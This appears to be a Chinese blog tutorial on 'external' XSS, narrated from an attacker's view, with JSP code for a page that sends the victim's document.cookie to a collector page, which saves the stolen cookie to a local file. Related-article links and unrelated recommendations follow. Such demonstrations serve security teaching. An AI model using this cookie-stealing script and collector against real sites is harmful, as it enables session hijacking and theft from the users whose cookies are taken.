引入:

上文中我们的例子是研究了来自内部的XSS攻击,通过输送一段有害js代码到受害者的机器,让其在受害者的域上运行这段有害JS代码来得到入侵目的。现在我们来看下来自外部的XSS攻击。

实践:

下面还是按照惯例,我用白话文来解释下什么是来自外部的XSS攻击。

假设我是攻击者,A是受害者,我知道A有个习惯,他会经常去某个奢侈品消费网站登录,然后每次登录用他的积分买很多东西,我没钱,我想通过A的账号 密码登录同样的网站,然后用他的积分去买东西给我自己。显然因为A知道我是受害者,所以我直接问A要账号密码,他肯定会报警的,怎么办呢?

这时候,我知道A经常在同一机器上登录,然后Cookie信息会存放在他那台机器的本地,于是,我就想办法植入一段恶意脚本在哪个奢侈品网站上,因 为A每次登录,它的信息都会存在Cookie中,然后我的恶意脚本就会每次从他的Cookie中读取信息,然后发送到我自己架设的服务器上,然后我自己架 设的服务器有一段代码会吧这个Cookie信息存放在本地的一个私密的文本文件中,这样他每次登录,我就能在我本地的文本文件中知道A的Cookie信息 了。当然了,为了触发那段恶意脚本,我必须确保A会点击我要的有恶意脚本的链接,我肯定会伪装一下,比如还是最常用的美女图片。

好,我们开始例子:

首先,我会在自己的磁盘目录上创建一个文本文件,比如说D:\privateLocation\stealCookieFile.txt

这个文件的作用是专门用来存储我盗取A的Cookie信息的。

然后,我就开始伪造一个带有恶意脚本的页面了:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>受害者页面,这个页面后台有XSS漏洞</title>
</head>
<script type="text/javascript">
//创建一个cookie
function createCookie(username,password){
    console.log("invoking createCookie(username,password) method");
    //设置cookie的到期时间,假设30天后到期
    var expires =new Date();
    expires.setTime(expires.getTime()+30*24*3600*1000);
    var expireInfo="expires="+expires.toUTCString();
                                                                                                                                                                                                                                                                                                                                                                                                    
    document.cookie=username+"="+password+";"+expireInfo;
    console.log("current cookie:"+document.cookie);
}
//盗用cookie
 function stealCookie(){
     window.open('http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie='+document.cookie)
 }
</script>
<body>
<form  method="post">
<p>
<span>用户名:charles,密码 123456</span>
<span>假定用户点击下面按钮会触发新建一个cookie并且存入,点击更下面一个按钮会盗用刚创建的cookie</span>
</p>
<input type="button" value="点击按钮会创建一个新cookie"  type="button" value="点击按钮会盗用当前的cookie" onclick="stealCookie()"/>
</form>
</body>
</html>

为了简单起见,假设这个页面是这个奢侈品网站的页面,为了模拟登录,我提供了2个按钮,假设点击第一个按钮会创建一个当前用户Cookie(或者自 动登录就是直接从Cookie中拿取用户信息),默认情况下,一般用户都会去登录页面的, 所以我这里也假定默认第一个按钮用户肯定会点的,然后第二个按钮是重点,它的背后会有一段恶意脚本,来盗取当前用户的Cookie.

然后在我盗取A的Cookie后,我得吧这个用户A的Cookie信息存起来到我的本地,以便下次我可以利用他的信息进行登录同样网站来买东西。

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>XSS盗用Cookie的Demo</title>
</head>
<body>
<%
//首先构造一个路径,这路径上的文本文件专门用来存放盗用的cookie
String stealCookieFile = "D:/privateLocation/stealCookieFile.txt";
out.println("准备存入盗取的cookie信息到:"+stealCookieFile+"<br>");
//获取提交过来的cookie值
String cookie= request.getParameter("cookie");
out.println("cookie信息:"+cookie+"<br>");
FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));
try{
    fos.write(cookie.getBytes());
}catch(IOException ex){
    out.println("写入失败");
}finally{
    if(fos!=null){
        fos.close();
    }
}
%>
</body>
</html>

有了上述的1个文本文件和2个JSP代码之后,我们就可以来Demo了。

首先,我创建了恶意页面,假定用户已经登录了,为了模拟这种情况,需要用户点击第一个按钮:

从Console看出,已经点击了第一个按钮,这时候,其状态就相当于有一个Cookie:  charles=123456,这个信息存在在A的本地了。

现在,我要诱惑A去点击第二个按钮(假设是一个美女图片或者是非常吸引人的消息) ,当A点击了第二个按钮之后,他上当了,他的这个Cookie信息被我正确的拿到并且存放在我的本地文件中:

我去检查本地文件,果然发现A的Cookie信息被正确拿到了:

总结:

所谓外部的XSS攻击,其实是通过让用户执行一段恶意脚本,然后这段脚本会吧敏感信息偷偷的“偷”出来,然后放入攻击者的想要的地方,这些敏感信息 可以是Cookie,user-agent或者其他的,反正js能拿到的信息,这里都可以,如果攻击者很恶意,他就可以拿到这些信息去做一些非法事情。打 个不恰当的比方,比如我(入侵者)要窃取某个国家(受 害者)的战时绝密情报(比如Cookie信息),但是因为他们国家防范措施太好(同源策略) ,我没办法直接拿到,于是我买通了他们国家某个人(比如色情图片链接),然后约定每当该国家发布情报时候(也就是受害者访问某网站),就把这个情报(对应 Cookie)丢到某个指定情报交换位置(我架设的另外一台服务器),然后我从那个位置中获取这个情报(从请求对象中获取Cookie信息),然后解析它 (读取Cookie),并且存放到我自己的情报库中(我本地的私密文件中)。

XSS研究1-来自外部的XSS攻击的更多相关文章

  1. XSS研究2-来自内部的XSS攻击的防范

    引入: 前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击.   实践:  http://www.cnblogs.com/crazy ...

  2. 来自内部的XSS攻击的防范

    来自内部的XSS攻击的防范 引入:前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击. 实践:其实从 http://www.2cto ...

  3. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

  4. 总结 XSS 与 CSRF 两种跨站攻击

    前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...

  5. 总结XSS与CSRF两种跨站攻击

    XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...

  6. XSS 与 CSRF 两种跨站攻击

    在前几年,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式, 但是现在参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是历史同样悠久的 ...

  7. XSS与CSRF两种跨站攻击总结

    在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了.但是 ...

  8. 二十五:XSS跨站值原理分类及攻击手法

    HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...

  9. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

随机推荐

  1. es suggest did you mean资料

    term suggester 功能介绍 term suggester 根据提供的文档提供搜索关键词的建议,也就是关键词自动纠错.该链接介绍如何使用 term suggester 语法.term sug ...

  2. firefox上安装selenium ide失败

    Selenium 初学者第一步: 最近在学习selenium,但是在安装的时候遇到了问题.我是直接在firefox安装的Selenium IDE ,虽然下载安装之后存在于扩展中,但是工具栏里并没有显示 ...

  3. ElasticSearch集群安装配置

    1. 环境说明 Cent OS 7 jdk-8u121-linux-x64.tar.gz elasticsearch-5.2.1.zip 2. 系统环境配置 新建进程用户 修改File Descrip ...

  4. SqlDataReader生成动态Lambda表达式

    上一扁使用动态lambda表达式来将DataTable转换成实体,比直接用反射快了不少.主要是首行转换的时候动态生成了委托. 后面的转换都是直接调用委托,省去了多次用反射带来的性能损失. 今天在对Sq ...

  5. 微信小程序,前端大梦想(四)

    微信小程序图片轮播及滚动视图 移动端常用效果图片轮播及数据列表已被小程序封装成了组件,这里和大家分享一下如何使用. Scroll-view   可滚动视图区域 Swiper       图片轮播容器 ...

  6. 第二章 Struts 2的应用

    2.1 Struts 2的应用    2.1.1 使用步骤        1.创建web项目,添加jar包,创建helloWorld.jsp页面        2.创建HelloWorldAction ...

  7. 【web】之 jquery上传插件的Plupload的使用

    首先下载plupload->http://www.plupload.com 因为Plupload可配置参数比较多,所以这里讲解最常用的,结合jquery-ui展示的界面!如下: Plupload ...

  8. redis intset(整数集合)

    redis intset (整数集合) 概述 intset 是集合的底层实现结构之一 intset 集合只包含整数 intset 自升级 intset 整数集合是有序的 intset 结构 结构 // ...

  9. Centos下装eclipse测试Hadoop

    (一),安装eclipse 1,下载eclipse,点这里 2,将文件上传到Centos7,可以用WinSCP 3,解压并安装eclipse [root@Master opt]# tar zxvf ' ...

  10. URL传中文参数导致乱码的解决方案之encodeURI

    通过URL传中文参数时,在服务端后台获取到的值往往会出现乱码问题,解决方案有很多种,本文主要介绍如何通过encodeURI来解决中文乱码问题: first:前端传递参数的时候需要对中文参数进行两次en ...